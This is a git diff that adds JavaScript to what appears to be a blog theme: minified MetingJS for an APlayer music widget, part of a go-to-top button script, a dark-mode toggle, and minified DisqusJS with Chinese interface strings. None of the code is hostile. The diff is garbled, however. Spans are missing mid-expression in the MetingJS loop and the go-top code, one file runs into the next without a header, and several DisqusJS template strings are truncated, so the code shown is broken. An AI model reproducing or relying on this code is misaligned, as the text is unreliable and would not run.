+'use strict';console.log('\n %c MetingJS v1.2.0 %c https://github.com/metowolf/MetingJS \n','color: #fadfa3; background: #030307; padding:5px 0;','background: #fadfa3; padding:5px 0;');var aplayers=[],loadMeting=function(){function a(a,b){var c={container:a,audio:b,mini:null,fixed:null,autoplay:!1,mutex:!0,lrcType:3,listFolded:!1,preload:'auto',theme:'#2980b9',loop:'all',order:'list',volume:null,listMaxHeight:null,customAudioType:null,storageName:'metingjs'};if(b.length){b[0].lrc||(c.lrcType=0);var d={};for(var e in c){var f=e.toLowerCase();(a.dataset.hasOwnProperty(f)||a.dataset.hasOwnProperty(e)||null!==c[e])&&(d[e]=a.dataset[f]||a.dataset[e]||c[e],('true'===d[e]||'false'===d[e])&&(d[e]='true'==d[e]))}aplayers.push(new APlayer(d))}}var b='https://api.i-meto.com/meting/api?server=:server&type=:type&id=:id&r=:r';'undefined'!=typeof meting_api&&(b=meting_api);for(var f=0;fh.status||304===h.status)){var b=JSON.parse(h.responseText);a(d,b)}},h.open('get',g,!0),h.send(null)}else if(d.dataset.url){var i=[{name:d.dataset.name||d.dataset.title||'Audio name',artist:d.dataset.artist||d.dataset.author||'Audio artist',url:d.dataset.url,cover:d.dataset.cover||d.dataset.pic,lrc:d.dataset.lrc,type:d.dataset.type||'auto'}];a(d,i)}},e=0;e windowViewPortHeight) {
+ goTopButton.style.display = 'block';
+ isRequestingAnimationFrame = false;
+ } else {
+ goTopButton.style.display = 'none';
+ requestAnimationFrame(filterGoTopButtonVisibility);
+ }
+ }
+});
diff --git a/js/darkmode.js b/js/darkmode.js
new file mode 100644
index 00000000..f13c5c3b
--- /dev/null
+++ b/js/darkmode.js
@@ -0,0 +1,105 @@
+(() => {
+ const rootElement = document.documentElement;
+ const darkModeStorageKey = 'user-color-scheme';
+ const darkModeMediaQueryKey = '--color-mode';
+ const rootElementDarkModeAttributeName = 'data-user-color-scheme';
+
+ const setLS = (k, v) => {
+ try {
+ localStorage.setItem(k, v);
+ } catch (e) {}
+ };
+
+ const removeLS = (k) => {
+ try {
+ localStorage.removeItem(k);
+ } catch (e) {}
+ };
+
+ const getLS = (k) => {
+ try {
+ return localStorage.getItem(k);
+ } catch (e) {
+ return null;
+ }
+ };
+
+ const getModeFromCSSMediaQuery = () => {
+ const res = getComputedStyle(rootElement).getPropertyValue(darkModeMediaQueryKey);
+ if (res.length) return res.replace(/["'\s]/g, '');
+ return res === 'dark' ? 'dark' : 'light';
+ };
+
+ const resetRootDarkModeAttributeAndLS = () => {
+ rootElement.removeAttribute(rootElementDarkModeAttributeName);
+ removeLS(darkModeStorageKey);
+ };
+
+ const validColorModeKeys = {
+ dark: true,
+ light: true,
+ };
+
+ const applyCustomDarkModeSettings = (mode) => {
+ const currentSetting = mode || getLS(darkModeStorageKey);
+
+ if (document.getElementById('hl-dark-theme')) {
+ if (validColorModeKeys[currentSetting]) {
+ if (currentSetting === 'dark') {
+ document.getElementById('hl-default-theme').media = 'none';
+ document.getElementById('hl-dark-theme').media = 'all';
+ } else {
+ document.getElementById('hl-dark-theme').media = 'none';
+ document.getElementById('hl-default-theme').media = 'all';
+ }
+ } else {
+ if (getModeFromCSSMediaQuery() === 'dark') {
+ document.getElementById('hl-default-theme').media = 'none';
+ document.getElementById('hl-dark-theme').media = 'all';
+ } else {
+ document.getElementById('hl-dark-theme').media = 'none';
+ document.getElementById('hl-default-theme').media = 'all';
+ }
+ }
+ } else if (document.getElementById('hl-default-theme')) {
+ document.getElementById('hl-default-theme').media = 'all';
+ }
+
+ if (currentSetting === getModeFromCSSMediaQuery()) {
+ resetRootDarkModeAttributeAndLS();
+ } else if (validColorModeKeys[currentSetting]) {
+ rootElement.setAttribute(rootElementDarkModeAttributeName, currentSetting);
+ } else {
+ resetRootDarkModeAttributeAndLS();
+ }
+ };
+
+ const invertDarkModeObj = {
+ dark: 'light',
+ light: 'dark',
+ };
+
+ const toggleCustomDarkMode = () => {
+ var currentSetting = getLS(darkModeStorageKey);
+
+ if (validColorModeKeys[currentSetting]) {
+ currentSetting = invertDarkModeObj[currentSetting];
+ } else if (currentSetting === null) {
+ currentSetting = invertDarkModeObj[getModeFromCSSMediaQuery()];
+ } else {
+ return;
+ }
+ setLS(darkModeStorageKey, currentSetting);
+
+ return currentSetting;
+ };
+
+ applyCustomDarkModeSettings();
+
+ window.onload = () => {
+ const darkModeToggleBottonElement = document.getElementById('btn-toggle-dark');
+ darkModeToggleBottonElement.addEventListener('click', () => {
+ applyCustomDarkModeSettings(toggleCustomDarkMode());
+ });
+ };
+})();
diff --git a/js/disqus.js b/js/disqus.js
new file mode 100644
index 00000000..2acbe15a
--- /dev/null
+++ b/js/disqus.js
@@ -0,0 +1 @@
+/*! DisqusJS v1.3.0 | Sukka (https://skk.moe) | https://disqusjs.skk.moe | MIT License */"use strict";function DisqusJS(C){!function(e,p,t,n,o){function r(){for(var s=arguments.length,e=new Array(s),t=0;t ',u=function(s,e){return''},v=function(s,e,t){var n=s.avatarEl,r=s.createdAt;return'"},g='如需完整体验请针对 disq.us | disquscdn.com | disqus.com 启用代理并 | ',b=function(s){return n(s,{method:"GET"}).then(function(s){return o.all([s.ok,s.status,s.json(),s.headers])}).then(function(s){var e=s[0],t=s[1],n=s[2],r=s[3];if(e)return{ok:e,status:t,data:n,headers:r};throw new Error}).catch(function(s){throw s})},y=function(s,e){try{t.setItem(s,e)}catch(s){}},a=function(s){function e(s){return s<10?"0"+s:s}return s=Date.parse(new Date(s)),(s=new Date(s+288e5)).getFullYear()+"-"+e(s.getMonth()+1)+"-"+e(s.getDate())+" "+e(s.getHours())+":"+e(s.getMinutes())};function s(){if(e.DISQUS)e.DISQUS.reset({reload:!0,config:function(){this.page.identifier=M.config.identifier,this.page.url=M.config.url,this.page.title=M.config.title}});else{var s=p.createElement("script");q(d).innerHTML='评论完整模式加载中... 如果长时间无法加载,请针对 disq.us | disquscdn.com | disqus.com 启用代理,或切换至
评论基础模式 '+l+"
",q("dsqjs-force-dsqjs").addEventListener(h,D),s.src="https://"+M.config.shortname+".disqus.com/embed.js",s.setAttribute("data-timestamp",+new Date),(p.head||p.body).appendChild(s)}}function E(){q(d).innerHTML='";function s(r){return new o(function(s,e){var t=new Image,n=setTimeout(function(){t.onerror=t.onload=null,e()},3e3);t.onerror=function(){clearTimeout(n),e()},t.onload=function(){clearTimeout(n),s()},t.src="https://"+r+"/favicon.ico?"+ +new Date+"="+ +new Date})}return o.all([s("disqus.com"),s(M.config.shortname+".disqus.com")]).then(w,D)}function L(){q("dsqjs-reload-disqus").addEventListener(h,E),q("dsqjs-force-disqus").addEventListener(h,w)}function i(){f("评论基础模式加载中... "+g),L();var s=M.config.api+"3.0/threads/list.json?forum="+encodeURIComponent(M.config.shortname)+"&thread="+encodeURIComponent("ident:"+M.config.identifier)+"&api_key="+encodeURIComponent(k());b(s).then(function(s){var e=s.data;if(0===e.code&&1===e.response.length){var t=e.response[0],n=t.id,r=t.title,o=t.isClosed,a=t.posts;M.page={id:n,title:r,isClosed:o,length:a,comment:[]},q(d).innerHTML='评论基础模式加载中... '+g+"
"+u(a,M.config.siteName)+'
'+l+"
",L(),q("dsqjs-order-"+M.sortType).setAttribute("checked","true"),i()}else{if(0!==e.code||1===e.response.length)throw new Error;f('当前 Thread 尚未创建。是否切换至 ?'),q("dsqjs-force-disqus").addEventListener(h,w)}}).catch(T);function e(s){function n(s){return{comment:s,author:s.author.name,isPrimary:!!M.config.admin&&s.author.username===M.config.admin,children:t(+s.id),hasMore:s.hasMore}}var e=[],r=[],t=function(e){if(0===r.length)return null;var t=[];return r.forEach(function(s){s.parent===e&&t.unshift(n(s))}),t.length?t:null};return s.forEach(function(s){(s.parent?r:e).push(s)}),e.map(n)}var i=function t(s){void 0===s&&(s="");function n(){Array.prototype.slice.call(o).forEach(function(s){return s.removeEventListener("change",d)}),r.removeEventListener(h,i),Array.prototype.slice.call(a).forEach(function(s){return s.removeEventListener(h,E)})}var r=q("dsqjs-load-more"),o=p.getElementsByClassName("dsqjs-order-radio"),a=p.getElementsByClassName("dsqjs-has-more-btn"),i=function(){n(),t(M.page.next)},d=function(s){var e=s.target;M.sortType=e.getAttribute("value"),y(j,M.sortType),n(),M.page.comment=[],M.page.next="",q("dsqjs-post-container").innerHTML='',r.classList.add("dsqjs-hide"),t()},e=""===s?"":"&cursor="+s;r.classList.add("dsqjs-disabled");function c(s){var e=s.createdAt;return Date.parse(new Date(e))}function l(s,e){return s.parent&&e.parent?c(s)-c(e):0}var u=M.config.api+"3.0/threads/listPostsThreaded?forum="+encodeURIComponent(M.config.shortname)+"&thread="+encodeURIComponent(M.page.id)+encodeURIComponent(e)+"&api_key="+encodeURIComponent(k())+"&order="+encodeURIComponent(M.sortType);b(u).then(function(s){var e=s.data;if(0===e.code&&0
评论